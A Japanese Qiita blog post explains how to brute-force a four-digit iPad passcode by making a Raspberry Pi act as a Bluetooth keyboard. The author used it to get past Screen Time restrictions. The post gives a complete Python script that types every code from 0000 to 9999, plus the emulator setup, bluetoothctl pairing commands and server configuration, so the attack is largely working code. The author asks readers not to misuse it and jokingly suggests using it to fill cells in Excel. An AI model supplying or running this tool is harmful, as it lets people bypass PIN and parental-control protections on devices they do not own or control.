32
23

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

4桁の数字をBluetoothでiPadに総当たり入力する

Posted at

 こんにちは、wsn0672です

先日Xにこのようなポストをしたところ、驚くほど反響があったので

ここで僕がどうやってiPadに総当たり入力したのか、この記事にまとめようと思います
ポストの動画ではスクリーンタイムの解除に使いましたが、悪用しないようにお願いします

@wsn0672

キーボードエミュレータ

まずこのポストの動画では、Raspberry PiからBluetoothを使ってiPadに砲撃(?)しています
動画の上半分に写っているPCはRaspberry Piとssh接続してるだけなので、パソコンから入力しているわけではなく、画角外にあるRaspberry Piから入力しています

そのRaspberry Pi上で総当たり攻撃するPythonを動かしてます
そのPythonだけ最初に貼っちゃいますね

import sys
import dbus
import time

class BtkStringClient:
    def __init__(self):
        print("setting up DBus Client")
        self.bus = dbus.SystemBus()
        self.btkservice = self.bus.get_object("org.thanhle.btkbservice", "/org/thanhle/btkbservice")
        self.iface = dbus.Interface(self.btkservice, "org.thanhle.btkbservice")

    def send_string(self, message):
        print("Sending:", message)
        for c in message:
            self.send_key(ord(c))
            time.sleep(0.02)
        self.send_key(0)  # リリース

    def send_key(self, key_code):
        self.iface.send_keys(0, [key_code])

client = BtkStringClient()

# 0000〜9999のリストを作る
all_codes = [f"{i:04}" for i in range(10000)]

# インデックスを保持
index = 0
batch_size = 10

while index < len(all_codes):
    input("Enterキーで次の10個送信...")
    batch = all_codes[index:index+batch_size]
    for code in batch:
        client.send_string(code)
        print("Tried:", code)
        time.sleep(0.1)  # ちょっと待つ
    index += batch_size

これを実行すればいいんですが、そのまま実行しても何も起こりません
なので準備します

準備

必要なパッケージをインストール

sudo apt update
sudo apt install -y bluetooth bluez python3-pip git libdbus-1-dev libglib2.0-dev

エミュレーターを入れる

Raspberry PiからBluetooth HIDとして文字列を入力するためにkeyboard_mouse_emulate_on_raspberryってのを使います

まずはそれをgit clone

git clone https://github.com/thanhlev/keyboard_mouse_emulate_on_raspberry.git

中身がちゃんと入ってたらセットアップ

cd keyboard_mouse_emulate_on_raspberry
sudo bash setup.sh

Bluetooth設定

BluetoothがONになってるか確認しましょう

sudo systemctl start bluetooth
bluetoothctl show

Powered: yes になってればOKです

ターゲットデバイスとペアリング準備

それでは砲撃対象(僕の場合はiPad)とBluetothペアリングしていきましょう

bluetoothctl

なんかが開くので、そこでコマンドを順に実行

power on
agent on
default-agent
scan on

これでラズパイがスキャンを始めます

[NEW] Device 19:F1:22:A4:E2:E3 52-F1-45-AC-E2-E3
[NEW] Device 46:D9:5F:B8:45:1F 46-D9-F6-B8-45-1F
[NEW] Device 5D:A8:64:78:15:E3 5D-B1-64-D0-15-E3

こんな感じでヴァーっと出てくるので、砲撃対象のBluetooth MACアドレスを探しましょう
iPadの場合は設定→一般→情報→Bluetoothのところに書いてあります

ちなみにiPadとかApple製品の場合はBluetooth設定を開いてる間しかスキャンに表示されないので注意してください

見つかったら、ペアリング&接続します

pair XX:XX:XX:XX:XX:XX
connect XX:XX:XX:XX:XX:XX
trust XX:XX:XX:XX:XX:XX

接続状態確認は

info XX:XX:XX:XX:XX:XX

connected: yes ってなってればOKです

iPadの方でもBluetooth設定を確認してRaspberry Piっぽいのが接続済みってなってれば成功です
たまに未接続ってなりますがそん時はiPad側から接続してあげましょう

接続できたら

scan off
exit

サーバーファイルを弄る

cd keyboard_mouse_emulate_on_raspberry/server
nano btk_server.py

ここで

TARGET_ADDRESS = ""

ここにiPadのBluetooth MACを書き込んで保存して
サービスを再起動

sudo systemctl daemon-reload
sudo systemctl restart btkbservice.service
sudo systemctl status btkbservice.service

エラーなくActive (running)になればOKです

そしたら試しになんか送ってみましょう

テスト

iPadの方でメモかなんかを立ち上げて、

sudo python3 ~/keyboard_mouse_emulate_on_raspberry/keyboard/send_string.py 1234

これでiPadの方に1234と入力されるはずです

これで準備完了です!

総当たり入力

序盤に貼ったPythonをホームディレクトリに置いて実行すれば
iPadに0000~9999が順番に入力されていきます
素晴らしいですね

最後に

Excelで0000から9999を入力したい時とかにぜひご活用ください
5時間の作業時間が数分に

くれぐれも悪用しないようにお願いします

32
23
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
32
23

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?